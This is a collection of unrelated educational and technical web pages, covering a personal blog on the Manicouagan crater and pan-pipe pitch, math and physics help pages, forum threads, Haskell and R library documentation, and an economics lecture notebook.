wires, about to come down. Here are a few pictures from the neighborhood.  Two blocks over: And this is literally next door to where we ate lunch yesterday afternoon: ## Saturday, March 06, 2010 ### Manicouagan Reservoir Crater When driving around Google maps from space I noticed a strangely symmetrical circle. link Its the Manicouagan Reservoir, known in French as Reservoir Manicouagan. A huge meteorite crater its tied for fourth largest diameter. In my opinion it is much more clearly visible than any of the other large craters on earth . . . well from space at least! There wasn't always a lake there though, the Manic-5 dam makes this huge lake the fifth largest man-made lake on Earth (by volume). Actually, if you look for it, its so huge that you can find it on maps of North America and even some globes. ## Thursday, March 04, 2010 ### Pan pipes in the Andes I ride the subway to and from class a couple times a week, and every so often there's a band playing music from the Andes.  Usually, these bands have a least one guy playing a pan pipe, which is essentially a series of tubes stuck together.  When the musician blows across the top of a particular pipe it makes a sound.  Listen to the music here, for examplehttp://www.youtube.com/watch?v=GIXE-5NrC3o In any case, the other day, when I stopped to listen, I began to wonder: Do these pan pipes sound different back in the Andes? I'm going to try and avoid any serious physics/mathematics here, but there three important things to consider.  First, that in a pipe of fixed length, the frequency of a sound wave (i.e. the particular note you hear) that resonates in that pipe depends on the speed of sound.  Second, the speed of sound depends on the density of the medium it's travelling through, which in our case is air.  Finally, the density of air changes at different altitudes. So, since the density of air is different at different altitudes, the speed of sound is also different, and therefore the frequency a pan pipe plays will be different.  Assuming I did my math right, the ratio of frequencies at different altitudes is equal to the ratio of the speeds of sound at the different altitudes.  So, the frequency of the pipe in the Andes $f_a$ is related to the frequency in the NYC subway system, $f_{nyc}$ by: $f_a = f_{nyc}\left(\frac{v_a}{v_{nyc}}\right)$ Although there are ways of calculating the speed of sound at different altitudes, I just looked it up in a table (you can also enter any height, and this will calculate it for you).  The average altitude in the Andes is 4,000m, so the speed of sound there is 324.6 m/s and NYC is at approximately 0m so the speed of sound there is 340.3m/s. Thus, the frequency will be shifted down (lower pitch) by around 5%. What this means, in practice, is that most notes will sound about semitone flatter in the Andes than they do in NYC.  For example, if this is how the music sounded in the subway: This is how it would sound in the Andes: So, the music you hear in the subways is not really authentic; it's a semitone high pitched.
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https://fr.maplesoft.com/support/help/maple/view.aspx?path=StudyGuides/MultivariateCalculus/Chapter8/Examples/Section8-3/Example8-3-6
Example 8-3-6 - Maple Help Chapter 8: Applications of Triple Integration Section 8.3: First Moments Example 8.3.6 a) Obtain the centroid of $R$, the region that lies between the plane $z=0$ and the paraboloid $z=9-{x}^{2}-{y}^{2}$. b) Impose the density $\mathrm{δ}\left(r,\mathrm{θ},z\right)=z$ on $R$ and find the resulting center of mass. (See Example 8.1.20.)
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https://accessibility.huit.harvard.edu/accessibility-topics/images
# ✎ Technique: Non-text contrast The contrast of icons and graphical objects is just as important as that of text. Use sufficient contrast for all elements on the screen, with a minimum contrast ratio of 3:1. # ✎ Technique: Referring to page content by its position Avoid referring to a button, menu, or other item in the page only by its position on the page; instead, use additional information that describes the content. Referring to a specific item in the page content by only its visual position prevents people who use screen readers from being able to make sense of this visual description. Another downside to referring to items by their position is that their position might change when the page is viewed at different screen sizes, such as on... Read more about ✎ Technique: Referring to page content by its position # ✎ Technique: Describing graphs Some people understand complex information best when it's presented visually, such as as a chart or diagram, while others find that reading the information suits them better. For people who use screen readers, a good text equivalent of the information that’s presented graphically is essential for their understanding. For simple graphics, providing a succinct, informative text alternative is usually fine. But for complex graphics, it's not enough to provide a screen reader user with only short alternative... # ✎ Technique: Text and images of text Some people with reading difficulties or visual impairments need to customize the display of text to make it easier to read. When text is presented as an image of text, that limits their ability to change the appearance of that text. So wherever possible, use text along with CSS to apply styling (such as color, typeface, or size). If you use an online content editor to write content, the styling will happen automatically. If you feel that you need text that deviates from the style, formatting options... # ✎ Technique: Using color to convey information Some people with color deficit have trouble differentiating between specific colors, such as between red and green or red and black. Screen reader users do not access content visually, so they do not have access to color information. Color is a powerful visual means of presenting or distinguishing information, but when you use color to identify or distinguish information, make sure that this information is still available to people who can't perceive color. # ✎ Technique: Icon fonts Icon fonts are a popular and effective method for providing scalable symbols that can be used to label controls and provide graphical information. The information provided by icons also needs to be available to people who can’t see them. # ✎ Technique: Writing alternative text The most appropriate alternative text for an image depends very much on the context of the image in question. You must provide information for that image that takes into account its purpose and also the surrounding text on the page. The same image might need different alternative text depending on how it's used.... Read more about ✎ Technique: Writing alternative text # ✎ Technique: Using diagrams to illustrate text People differ in the way that they can (or like to) consume information, especially in educational contexts. Some people might prefer information provided in text, or video, or audio; and their accessibility needs can also influence their preferences. But while accessibility for images often focuses on providing a text alternative for screen-reader users, we can also look at the issue from the other way around—providing a graphic alternative for text to make the underlying information or concept easier to... Each image requires alternative text that is equivalent to the information it conveys, unless the image is purely decorative and provides no useful information. So you need to be careful about what value you give the alt attribute.
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https://www.math24.net/factorial/
# Factorial • Natural numbers: $$n$$, $$k$$ Real numbers: $$x$$ Factorial of $$n$$: $$n!$$ Gamma function: $$\Gamma \left( x \right)$$ 1. The factorial of a non-negative integer $$n$$ is called the product of all positive integers less than or equal to the number $$n.$$ The factorial of $$n$$ is denoted as $$n!$$ $$n! =$$ $$1 \cdot 2 \cdot 3 \ldots \left( {n – 1} \right) \cdot n$$ 2. factorial of zero by definition is equal to$$1:$$ $$0! = 1$$ 3. Factorials of the numbers $$1-10$$ 4. Recursive formula $$\left( {n + 1} \right)! = n! \cdot \left( {n + 1} \right)$$ 5. Extension of the factorial function to non-negative real numbers The factorial of a non-negative real number $$x$$ is expressed through the gamma function by the formula $$x! = \Gamma \left( {x + 1} \right),$$ which allows to calculate the factorial of any real numbers $$x \ge 0$$. 6. Rate of increase The factorial function increases faster than the exponential function. The inequality $$n! \gt \exp \left( n \right)$$ holds for all $$n \ge 6$$. When $$n \ge 1,$$ the following relation is valid: $$n \le n! \le {n^n}.$$ 7. Stirling formula For large $$n$$ the approximating factorial value can be determined by the Stirling formula: $$n! \approx$$ $${n^n}\sqrt {2\pi n} \,\exp \left( { – n} \right) \cdot$$ $$\Big[ {1 + {\large\frac{1}{{12n}}\normalsize} + {\large\frac{1}{{288{n^2}}}\normalsize} }-$$ $${ {\large\frac{{139}}{{51840{n^3}}}\normalsize} – \ldots } \Big]$$. Taking into account only the first term in the expansion, this formula takes the form $$n! \approx {n^n}\sqrt {2\pi n} \,\exp \left( { – n} \right)$$. 8. Double factorial The double factorial is the product of all odd integers from $$1$$ to some odd positive integer $$n$$. The double factorial is denoted by $$n!!$$ $$\left( {2k + 1} \right)!! =$$ $$1 \cdot 3 \cdot 5 \cdots \left( {2k – 1} \right) \cdot$$ $$\left( {2k + 1} \right).$$ Sometimes, the double factorial is considered for even integers. We can define it as $$\left( {2k} \right)!! =$$ $$2 \cdot 4 \cdot 6 \cdots \left( {2k – 2} \right) \cdot 2k$$ It is implied here that $$0!! = 1.$$
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https://www.physicsforums.com/threads/thin-film-interference-problems.72425/
# Homework Help: Thin Film Interference Problems 1. Apr 20, 2005 ### 404 There's two problems I can't seem to figure out... I sort of got the answer, except I used m as 28 instead of 27. So my question is why are you suppose to use m as 27 to multiply instead of 28? Also What do they mean by incident normally, is it like striking the glass at a right angel? and the other one is ... 2. Apr 22, 2005 ### OlderDan The key is to understand that two of the 28 dark lines are at the ends of the glass. The dark line where the two flats touch is dark because there is phase reversal at one surface, but not at the other. The next dark line occurs when the path length across the space and back is exactly one wavelength, the one after that exactly 2 wavelengths, etc. Since there are 28 lines, and one is at the edge, the space at the first line from the touching edge is 1/27 times the space at the last line, which is the thickness of the spacer. So 1/27 times the spacer thickness is 1/2 wavelength. The "normal" incidence does mean perpendicular to the glass flats. It has to be normal so that the extra path length of the light is two times the space. If the light were at an angle, the path length difference would be more than twice the space. You would still see lines, but not as many and the calculation would be more complicated. 3. Apr 22, 2005 ### OlderDan First you need to reduce the ratio of the wavelenths to a ratio of integers. Then you need to understand what conditions cause phase reversal for some reflections and not others, and decide if both surfaces reflect the same phase, or differently. When you do that, you will realize that those integers are connected to the number of wavelengths of light that will "fit" into the thin film layer. There will be more of the sorter wavelengths than longer wavelengths in the film. Once you know how many of each wavelength are in the film, you can calculate the film thickness as a multiple of the wavelength. Since the film has an index of refraction other than 1, the wavelength in the film will be shorter than in the air. You will have to deal with that. Edit I think this problem may be flawed. For this combination of refractive indices, the wavelength ratio may be impossible. With the ratio given, even if the materials were reversed I'm not getting the answer given. I seem to be getting twice the thickness. Anyone else have an opinion? Last edited: Apr 22, 2005 4. Apr 22, 2005 ### Andrew Mason The first glass/air surface causes the inner surface of the first glass to reflect without a phase shift. At the second air/glass surface, the second glass reflects with a pi phase shift so it provides constructive interference if the space pi/2 ($\lambda/4$) thick and destructive interference if the space is 0 or pi ($2\lambda/4$) thick. Thereafter the dark band (destructive interference) occurs at half wavelength intervals: $4\lambda/4, 6\lambda/4, 8\lambda/4... 54\lambda/4$ and light (constructive) at $3\lambda/4, 5\lambda/4, 7\lambda/4... 53\lambda/4$. So the maximum thickness is 54*500e-9/4 = 6.75e-6 m. Normal means right angle. The second one is a little more complicated. Both the surfaces (air/alcohol, alcohol/glass) reflect with a pi phase shift since the index of refraction of the subsequent medium is higher at both surfaces. So there will be minimal reflection when the alcohol is pi/2 or $\lambda/4$thick. The wavelength changes with the index of refraction of the alcohol (not of the glass). The wavelength in alcohol of the first light is about 376 nm and 471 nm for the second light. Can you work it out from that? AM 5. Apr 22, 2005 ### OlderDan Given that both surfaces have the same phase at reflection, your $\lambda/4$ condition is certainly correct for the minimum thickness. The next thickness that will result in destructive interference is an additional $\lambda/2$, and the one after that still another $\lambda/2$. The sequence being $\lambda/4$, $3\lambda/4$, $5\lambda/4$, etc The thickness of the film is the same for both wavelengths, so we should be looking for a solution to the equation $$L = (2n+1)\lambda_1/4 = (2m+1)\lambda_2/4$$ for integer values of m, n. Solving for the ratio of the wavelengths gives $$(2n+1)/(2m+1) = \lambda_2/\lambda_1 = 640/512 = 5/4$$ which has no solution for integer n and m. The only way you could have a ratio of wavelengths equal to consecutive integers is if the path length through the film was a multiple of a wavelength, which would be the case if there was phase reversal at only one surface, which would happen if the film layer had a higher index of refraction than the air or the bottom layer. The possible thicknesses would then be $\lambda/2$, $2\lambda/2$, $3\lambda/2$, etc., leading to $$L = n\lambda_1/2 = m\lambda_2/2$$ for integer values of m, n. Solving for the ratio of the wavelengths gives $$n/m = \lambda_2/\lambda_1 = 640/512 = 5/4$$ This equation has the solution n = 5, m = 4. The thickness of the film must be 5/2 times the shorter wavelength and 4/2 = 2 times the longer wavelength. Using your correct adjustment for the index of refraction of the film, this gives $$L = 5\lambda_1/2 = 4\lambda_2/2 = 5*376 nm/2 = 4*471 nm/2 = 941 nm$$ So, it appears there is no solution to problem as stated, and if you try to salvage the problem by changing the index of refraction of the bottoom layer to less than 1.36, you get a different answer from the one given. Have I gone wrong somewhere? Last edited: Apr 22, 2005 6. Apr 22, 2005 ### Andrew Mason I agree with you. On the other hand, if the wavelength was at a maximum at 640 and a minimum at 512, it would work. If the question said: "at a maximum at wavelength = 640nm", the answer would be d=471 nm. AM 7. Apr 22, 2005 ### OlderDan Yes. Maybe that's what it was supposed to say. Nice catch. 8. Jun 5, 2010
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https://hackage.haskell.org/package/extra-1.7.4/docs/Data-Tuple-Extra.html
extra-1.7.4: Extra functions I use. Data.Tuple.Extra Description Extra functions for working with pairs and triples. Some of these functions are available in the Control.Arrow module, but here are available specialised to pairs. Some operations work on triples. Synopsis • module Data.Tuple • first :: (a -> a') -> (a, b) -> (a', b) • second :: (b -> b') -> (a, b) -> (a, b') • (***) :: (a -> a') -> (b -> b') -> (a, b) -> (a', b') • (&&&) :: (a -> b) -> (a -> c) -> a -> (b, c) • dupe :: a -> (a, a) • both :: (a -> b) -> (a, a) -> (b, b) • firstM :: Functor m => (a -> m a') -> (a, b) -> m (a', b) • secondM :: Functor m => (b -> m b') -> (a, b) -> m (a, b') • fst3 :: (a, b, c) -> a • snd3 :: (a, b, c) -> b • thd3 :: (a, b, c) -> c • first3 :: (a -> a') -> (a, b, c) -> (a', b, c) • second3 :: (b -> b') -> (a, b, c) -> (a, b', c) • third3 :: (c -> c') -> (a, b, c) -> (a, b, c') • curry3 :: ((a, b, c) -> d) -> a -> b -> c -> d • uncurry3 :: (a -> b -> c -> d) -> (a, b, c) -> d # Documentation module Data.Tuple # Specialised Arrow functions first :: (a -> a') -> (a, b) -> (a', b) Source # Update the first component of a pair. first succ (1,"test") == (2,"test") second :: (b -> b') -> (a, b) -> (a, b') Source # Update the second component of a pair. second reverse (1,"test") == (1,"tset") (***) :: (a -> a') -> (b -> b') -> (a, b) -> (a', b') infixr 3 Source # Given two functions, apply one to the first component and one to the second. A specialised version of ***. (succ *** reverse) (1,"test") == (2,"tset") (&&&) :: (a -> b) -> (a -> c) -> a -> (b, c) infixr 3 Source # Given two functions, apply both to a single argument to form a pair. A specialised version of &&&. (succ &&& pred) 1 == (2,0) # More pair operations dupe :: a -> (a, a) Source # Duplicate a single value into a pair. dupe 12 == (12, 12) both :: (a -> b) -> (a, a) -> (b, b) Source # Apply a single function to both components of a pair. both succ (1,2) == (2,3) firstM :: Functor m => (a -> m a') -> (a, b) -> m (a', b) Source # Update the first component of a pair. firstM (\x -> [x-1, x+1]) (1,"test") == [(0,"test"),(2,"test")] secondM :: Functor m => (b -> m b') -> (a, b) -> m (a, b') Source # Update the second component of a pair. secondM (\x -> [reverse x, x]) (1,"test") == [(1,"tset"),(1,"test")] # Operations on triple fst3 :: (a, b, c) -> a Source # Extract the fst of a triple. snd3 :: (a, b, c) -> b Source # Extract the snd of a triple. thd3 :: (a, b, c) -> c Source # Extract the final element of a triple. first3 :: (a -> a') -> (a, b, c) -> (a', b, c) Source # Update the first component of a triple. first3 succ (1,1,1) == (2,1,1) second3 :: (b -> b') -> (a, b, c) -> (a, b', c) Source # Update the second component of a triple. second3 succ (1,1,1) == (1,2,1) third3 :: (c -> c') -> (a, b, c) -> (a, b, c') Source # Update the third component of a triple. third3 succ (1,1,1) == (1,1,2) curry3 :: ((a, b, c) -> d) -> a -> b -> c -> d Source # Converts an uncurried function to a curried function. uncurry3 :: (a -> b -> c -> d) -> (a, b, c) -> d Source # Converts a curried function to a function on a triple.
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https://www.r-bloggers.com/2010/05/rcpparmadillo-0-2-1/
Want to share your content on R-bloggers? click here if you have a blog, or here if you don't. Armadillo is a C++ linear algebra library aiming towards a good balance between speed and ease of use. Integer, floating point and complex numbers are supported, as well as a subset of trigonometric and statistics functions. Various matrix decompositions are provided through optional integration with LAPACK and ATLAS libraries. A delayed evaluation approach is employed (during compile time) to combine several operations into one and reduce (or eliminate) the need for temporaries. This is accomplished through recursive templates and template meta-programming. This library is useful if C++ has been decided as the language of choice (due to speed and/or integration capabilities), rather than another language like Matlab or Octave. It is distributed under a license that is useful in both open-source and commercial contexts. Armadillo is primarily developed by Conrad Sanderson at NICTA (Australia), with contributions from around the world. RcppArmadillo is an R package that facilitates using Armadillo classes in R packages through Rcpp. It achieves the integration by extending Rcpp’s data interchange concepts to Armadillo classes. ## Example Here is a simple implementation of a fast linear regression (provided by RcppArmadillo via the fastLm() function): Note however that you may not want to compute a linear regression fit this way in order to protect from numerical inaccuracies on rank-deficient problems. The help page for fastLm() provides an example. ## Using RcppArmadillo in other packages RcppArmadillo is designed so that its classes can be used from other packages. • Using the header files provided by Rcpp and RcppArmadillo. This is typically achieved by adding this line in the DESCRIPTION file of the client package: LinkingTo : Rcpp, RcppArmadillo and the following line in the package code: #include • Linking against Rcpp dynamic or shared library and librairies needed by Armadillo, which is achieved by adding this line in the src/Makevars file of the client package PKG_LIBS = $(shell$(R_HOME)/bin/Rscript -e "Rcpp:::LdFlags()" ) $(LAPACK_LIBS)$(BLAS_LIBS) $(FLIBS) and this line in the file src/Makevars.win: PKG_LIBS =$(shell Rscript.exe -e "Rcpp:::LdFlags()") $(LAPACK_LIBS)$(BLAS_LIBS) \$(FLIBS) RcppArmadillo contains a function RcppArmadillo.package.skeleton, modelled after package.skeleton from the utils package in base R, that creates a skeleton of a package using RcppArmadillo, including example code. ## Quality Assurance RcppArmadillo uses the RUnit package by Matthias Burger et al to provide unit testing. RcppArmadillo currently has 19 unit tests (called from 8 unit test functions). Source code for unit test functions are stored in the unitTests directory of the installed package and the results are collected in the RcppArmadillo-unitTests vignette. We run unit tests before sending the package to CRAN on as many systems as possible, including Mac OSX (Snow Leopard), Debian, Ubuntu, Fedora 12 (64bit), Win 32 and Win64. Unit tests can also be run from the installed package by executing RcppArmadillo:::test() where an output directory can be provided as an optional first argument. ## Support Questions about RcppArmadillo should be directed to the Rcpp-devel mailing list at https://lists.r-forge.r-project.org/cgi-bin/mailman/listinfo/rcpp-devel -- Romain Francois, Montpellier, France Dirk Eddelbuettel, Chicago, IL, USA
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https://www.physicsforums.com/threads/what-does-this-paper-say.85012/
# What does this paper say? 1. Aug 12, 2005 ### wolram We calculate the spectrum of density fluctuations in models of inflation based on a weakly self-coupled scalar matter field minimally coupled to gravity, and specifically investigate the dependence of the predictions on modifications of the physics on length scales smaller than the Planck length. These modifications are encoded in terms of modified dispersion relations. Whereas for some classes of dispersion relations the predictions are unchanged compared to the usual ones which are based on a linear dispersion relation, for other classes important differences are obtained, involving tilted spectra, spectra with exponential factors and with oscillations. We conclude that the predictions of inflationary cosmology in these models are not robust against changes in the super-Planck-scale physics. Comment: 4 pages, 1 figure. One important correction in the Corley/Jacobson case with b_m>0 and some misprints corrected. To appear in Mod. Phys. Lett. A http://citebase.eprints.org/cgi-bin/citations?id=oai:arXiv.org:astro-ph/0005432 2. Aug 12, 2005 Staff Emeritus Let's take it piece by piece: The density of matter in the universe will fluctuate depending on the physics; the fluctuations will come at various frequencies and the strengths of the fluctuations at each frequency form the spectrum. This can be estimated from the observations of the CMB. They introduce this simple field - it just has a magnitude, like a temperature, not any particle properties - as a surrogate for various microphysics theories (gravitons or quantum gravity theories). Dispersion relations are the physicists' way to express things like scattering and refraction, typically of light, but also in this case the despersion of those density fluctuations, whose history we can estimate from the CMB data. By varying their field, they can represent different theories of gravity at the Planck scale, and calculate the resulting dispersion relations in each case. And they claim to find a strong effect; some microphysics changes the dispersion relations so that the history of the fluctuations doesn't match what we observe. While this COULD be due to their approximation (that scalar field), it is clearly a suspicious behavior caused by different kinds of microphysics. Thus a possible way to support some of them and falsify others. Last edited: Aug 12, 2005 3. Aug 12, 2005 ### wolram Thank you SA, nd they claim to find a strong effect; some microphysics changes the dispersion relations so that the history of the fluctuations doesn't match what we observe. While this COULD be due to their approximation (that scalar field), it is clearly a suspicious behavior caused by different kinds of microphysics. Thus a possible way to support some of them and falsify others. Similar Discussions: What does this paper say?
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https://aerospaceanswers.com/question-category/propulsion/
• Question Cagtegory: Propulsion Filter by Filter by Questions Per Page: • ## Find the inlet area of a ramjet engine. Find the inlet area of a ramjet engine, if the maximum thrust to be produced is $$5000\, N$$ at sea … Asked on 12th February 2021 in • 91 views • ## Find the thrust produced by turbojet engine. An airplane is flying at an altitude of $$10,000\,m$$ with a turbojet engine at a velocity of $$900\, km/h$$. The … Asked on 12th February 2021 in • 91 views • ## What is the working principle of a turbojet engine ? What is the working principle of a turbojet engine ? Asked on 13th November 2020 in • 197 views • ## What is thrust reversal ? What are the methods of thrust reversal ? What is thrust reversal ? What are the methods of thrust reversal ? Asked on 13th July 2020 in • 312 views • ## What are the advantages of turbojet engine ? What are the advantages of a turbojet engine ? Asked on 3rd July 2020 in • 271 views • ## Find the rate of change of temperature with time. The temperature distribution at a certain input of time in concrete slab during curing is given by $$T=3x^{2}+3x+16$$ where $$x$$ … Asked on 25th October 2019 in • 281 views • ## Find the direction of fastest variation in temperature. The temperature field in a body varies according to the equation $$T(x,y)=x^{3}+4xy$$.Find the direction of  fastest variation in temperature at … Asked on 25th October 2019 in • 323 views • ## Find the ratio of specific heats. In case of ideal triatomic gas , What is the ratio of specific heats $$C_p/C_v$$? Asked on 23rd October 2019 in • 287 views • ## Find the total temperatures at the exit of the air intake and the compressor respectively. A jet engine is operating at a Mach number of $$0.8$$ at an altitude of $$10 \;km$$.The efficiency of the … Asked on 10th October 2019 in • 270 views A turbojet powered aircraft is flying at Mach number $$0.8$$ at an altitude of $$10\; km$$.The inlet and exit …
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https://brilliant.org/practice/tangent-to-circles-problem-solving/
Geometry # Tangent to Circles - Problem Solving As shown in the above diagram, triangle $$ABC$$ inscribed in a circle is an isosceles triangle with $$\lvert{\overline{AB}}\rvert=\lvert{\overline{AC}}\rvert,$$ where $$\lvert{\overline{AB}}\rvert$$ denotes the length of $${\overline{AB}}.$$ Given the following two lengths: $\lvert{\overline{AP}}\rvert=11 \text{ and } \lvert{\overline{PQ}}\rvert=5,$ what is $${\lvert\overline{AB}\rvert}^2?$$ Note: The above diagram is not drawn to scale. The above diagram illustrates a $$17$$ meters by $$10$$ meters rectangular farmland $$ABCD.$$ The farmland contains a circular well $$O$$ with radius $$4$$ meters at its upper left corner, which is tangent to $$\overline{AB}$$ and $$\overline{AD}.$$ If the farmer wants to build a straight fence dividing the land into two areas in the following way, what should be the length of $$\overline{FD}$$ (in meters): • $$\angle FEC = 45 ^\circ$$ • the well goes to the left of the fence • make the area of $$FECD$$ as large as possible? $$\square ABCD$$ in the above diagram is a square-shaped park with side length $$30\sqrt{2}$$ meters. If there is a circular fountain with radius $$15$$ meters at the center of the park, what is the length (in meters) of the shortest path from $$A$$ to $$C$$ that does not pass through the fountain? $$\overline{DE}$$ is tangent to circle $$O$$ at point $$C,$$ and points $$A$$ and $$B$$ lie on circle $$O.$$ If $$\angle ACD=79 ^\circ$$ and $$\angle OBA=2\angle OAC,$$ what is the measure (in degrees) of $$\angle OCB?$$ You have a piece of rectangular land $$ABCD$$ that measures $$30$$ meters by $$25$$ meters. There are two wells, one at the upper left corner and another at the lower right corner, with the same radius. Both wells are tangent to the borders of the land. When you put a fence $$EF$$ that is tangent to both wells, as shown in the above diagram, you find $$\angle EFB=60^\circ.$$ What is the radius of the two wells? ×
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https://walkccc.github.io/CLRS/Chap28/Problems/28-2/
# 28-2 Splines A pratical method for interpolating a set of points with a curve is to use cubic splines. We are given a set $\{(x_i, y_i): i = 0, 1, \ldots, n\}$ of $n + 1$ point-value pairs, where $x_0 < x_1 < \cdots < x_n$. We wish to fit a piecewise-cubic curve (spline) $f(x)$ to the points. That is, the curve $f(x)$ is made up of $n$ cubic polynomials $f_i(x) = a_i + b_ix + c_ix^2 + d_ix^3$ for $i = 0, 1, \ldots, n - 1$, where if $x$ falls in the range $x_i \le x \le x_{i + 1}$, then the value of the curve is given by $f(x) = f_i(x - x_i)$. The points $x_i$ at which the cubic polynomials are "pasted" together are called knots. For simplicity, we shall assume that $x_i = i$ for $i = 0, 1, \ldots, n$. To ensure continuity of $f(x)$, we require that \begin{aligned} f(x_i) & = f_i(0) = y_i, \\ f(x_{i + 1}) & = f_i(1) = y_{i + 1} \end{aligned} for $i = 0, 1, \ldots, n - 1$. To ensure that $f(x)$ is sufficiently smooth, we also insist that the first derivative be continuous at each knot: $$f'(x_{i + 1}) = f'_i(1) = f'_{i + 1}(0)$$ for $i = 0, 1, \ldots, n - 2$. a. Suppose that for $i = 0, 1, \ldots, n$, we are given not only the point-value pairs $\{(x_i, y_i)\}$ but also the first derivatives $D_i = f'(x_i)$ at each knot. Express each coefficient $a_i$, $b_i$, $c_i$ and $d_i$ in terms of the values $y_i$, $y_{i + 1}$, $D_i$, and $D_{i + 1}$. (Remember that $x_i = i$.) How quickly can we compute the $4n$ coefficients from the point-value pairs and first derivatives? The question remains of how to choose the first derivatives of $f(x)$ at the knots. One method is to require the second derivatives to be continuous at the knots: $$f''(x_{i + 1}) = f''_i(1) = f''_{i + 1}(0)$$ for $i = 0, 1, \ldots, n - 2$. At the first and last knots, we assume that $f''(x_0) = f''_0(0) = 0$ and $f''(x_n) = f''_{n - 1}(1) = 0$; these assumptions make $f(x)$ a natural cubic spline. b. Use the continuity constraints on the second derivative to show that for $i = 1, 2, \ldots, n - 1$, $$D_{i - 1} + 4D_i + D_{i + 1} = 3(y_{i + 1} - y_{i - 1}). \tag{23.21}$$ c. Show that \begin{aligned} 2D_0 + D_1 & = 3(y_1 - y_0), & \text{(28.22)} \\ D_{n - 1} + 2D_n & = 3(y_n - y_{n - 1}). & \text{(28.23)} \end{aligned} d. Rewrite equations $\text{(28.21)}$–$\text{(28.23)}$ as a matrix equation involving the vector $D = \langle D_0, D_1, \ldots, D_n \rangle$ or unknowns. What attributes does the matrix in your equation have? e. Argue that a natural cubic spline can interpolate a set of $n + 1$ point-value pairs in $O(n)$ time (see Problem 28-1). f. Show how to determine a natural cubic spline that interpolates a set of $n + 1$ points $(x_i, y_i)$ satisfying $x_0 < x_1 < \cdots < x_n$, even when $x_i$ is not necessarily equal to $i$. What matrix equation must your method solve, and how quickly does your algorithm run? a. We have $a_i = f_i(0) = y_i$ and $b_i = f_i'(0) = f'(x_i) = D_i$. Since $f_i(1) = a_i + b_i + c_i + d_i$ and $f_i'(1) = b_i + 2c_i + 3d_i$, we have $d_i = D_{i + 1} - 2y_{i + 1} + 2y_i + D_i$ which implies $c_i = 3y_{i + 1} - 3y_i - D_{i + 1} - 2D_i$. Since each coefficient can be computed in constant time from the known values, we can compute the $4n$ coefficients in linear time. b. By the continuity constraints, we have $f_i''(1) = f_{i + 1}''(0)$ which implies that $2c_i + 6d_i = 2c_{i + 1}$, or $c_i + 3d_i = c_{i + 1}$. Using our equations from above, this is equivalent to $$D_i + 2D_{i + 1} + 3y_i - 3y_{i + 1} = 3y_{i + 2} - 3y_{i + 1} - D_{i + 2} - 2D_{i + 1}.$$ Rearranging gives the desired equation $$D_i + 4D_{i + 1} + D_{i + 2} = 3(y_{i + 2} - y_i).$$ c. The condition on the left endpoint tells us that $f_0''(0) = 0$, which implies $2c_0 = 0$. By part (a), this means $3(y_1 − y_0) = 2D_0 + D_1$. The condition on the right endpoint tells us that $f_{n - 1}''(1) = 0$, which implies $c_{n - 1} + 3d_{n - 1} = 0$. By part (a), this means $3(y_n - y_{n - 1}) = D_{n - 1} + 2D_n$. d. The matrix equation has the form $AD = Y$, where $A$ is symmetric and tridiagonal. It looks like this: $$\begin{pmatrix} 2 & 1 & 0 & 0 & \cdots & 0 \\ 1 & 4 & 1 & 0 & \cdots & 0 \\ 0 & \ddots & \ddots & \ddots & \cdots & \vdots \\ \vdots & \cdots & 1 & 4 & 1 & 0 \\ 0 & \cdots & 0 & 1 & 4 & 1 \\ 0 & \cdots & 0 & 0 & 1 & 2 \\ \end{pmatrix} \begin{pmatrix} D_0 \\ D_1 \\ D_2 \\ \vdots \\ D_{n - 1} \\ D_n \end{pmatrix} = \begin{pmatrix} 3(y_1 - y_0) \\ 3(y_2 - y_0) \\ 3(y_3 - y_1) \\ \vdots \\ 3(y_n - y_{n - 2}) \\ 3(y_n - y_{n - 1}) \end{pmatrix} .$$ e. Since the matrix is symmetric and tridiagonal, Problem 28-1 (e) tells us that we can solve the equation in $O(n)$ time by performing an LUP decomposition. By part (a), once we know each $D_i$ we can compute each $f_i$ in $O(n)$ time. f. For the general case of solving the nonuniform natural cubic spline problem, we require that $f(x_{i + 1}) = f_i(x_{i + 1} − x_i) = y_{i + 1}$, $f'(x_{i + 1}) = f_i'(x_{i + 1} - x_i) = f_{i + 1}'(0)$ and $f''(x_{i + 1}) = f_i''(x_{i + 1} - x_i) = f_{i + 1}''(0)$. We can still solve for each of $a_i$, $b_i$, $c_i$ and $d_i$ in terms of $y_i$, $y_{i + 1}$, $D_i$ and $D_{i + 1}$, so we still get a tridiagonal matrix equation. The solution will be slightly messier, but ultimately it is solved just like the simpler case, in $O(n)$ time.
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https://nbviewer.org/github/QuantEcon/lecture-python-advanced.notebooks/blob/master/growth_in_dles.ipynb
# Growth in Dynamic Linear Economies¶ ## Contents¶ This is another member of a suite of lectures that use the quantecon DLE class to instantiate models within the [HS13] class of models described in detail in Recursive Models of Dynamic Linear Economies. In addition to what’s included in Anaconda, this lecture uses the quantecon library. In [ ]: !pip install --upgrade quantecon This lecture describes several complete market economies having a common linear-quadratic-Gaussian structure. Three examples of such economies show how the DLE class can be used to compute equilibria of such economies in Python and to illustrate how different versions of these economies can or cannot generate sustained growth. We require the following imports In [ ]: import numpy as np import matplotlib.pyplot as plt %matplotlib inline from quantecon import LQ, DLE ## Common Structure¶ Our example economies have the following features • Information flows are governed by an exogenous stochastic process $z_t$ that follows $$z_{t+1} = A_{22}z_t + C_2w_{t+1}$$ where $w_{t+1}$ is a martingale difference sequence. • Preference shocks $b_t$ and technology shocks $d_t$ are linear functions of $z_t$ $$b_t = U_bz_t$$ $$d_t = U_dz_t$$ • Consumption and physical investment goods are produced using the following technology $$\Phi_c c_t + \Phi_g g_t + \Phi_i i_t = \Gamma k_{t-1} + d_t$$ $$k_t = \Delta_k k_{t-1} + \Theta_k i_t$$ $$g_t \cdot g_t = l_t^2$$ where $c_t$ is a vector of consumption goods, $g_t$ is a vector of intermediate goods, $i_t$ is a vector of investment goods, $k_t$ is a vector of physical capital goods, and $l_t$ is the amount of labor supplied by the representative household. • Preferences of a representative household are described by $$-\frac{1}{2}\mathbb{E}\sum_{t=0}^\infty \beta^t [(s_t-b_t)\cdot(s_t - b_t) + l_t^2], 0 < \beta < 1$$ $$s_t = \Lambda h_{t-1} + \Pi c_t$$ $$h_t = \Delta_h h_{t-1} + \Theta_h c_t$$ where $s_t$ is a vector of consumption services, and $h_t$ is a vector of household capital stocks. Thus, an instance of this class of economies is described by the matrices $$\{ A_{22}, C_2, U_b, U_d, \Phi_c, \Phi_g, \Phi_i, \Gamma, \Delta_k, \Theta_k,\Lambda, \Pi, \Delta_h, \Theta_h \}$$ and the scalar $\beta$. ## A Planning Problem¶ The first welfare theorem asserts that a competitive equilibrium allocation solves the following planning problem. Choose $\{c_t, s_t, i_t, h_t, k_t, 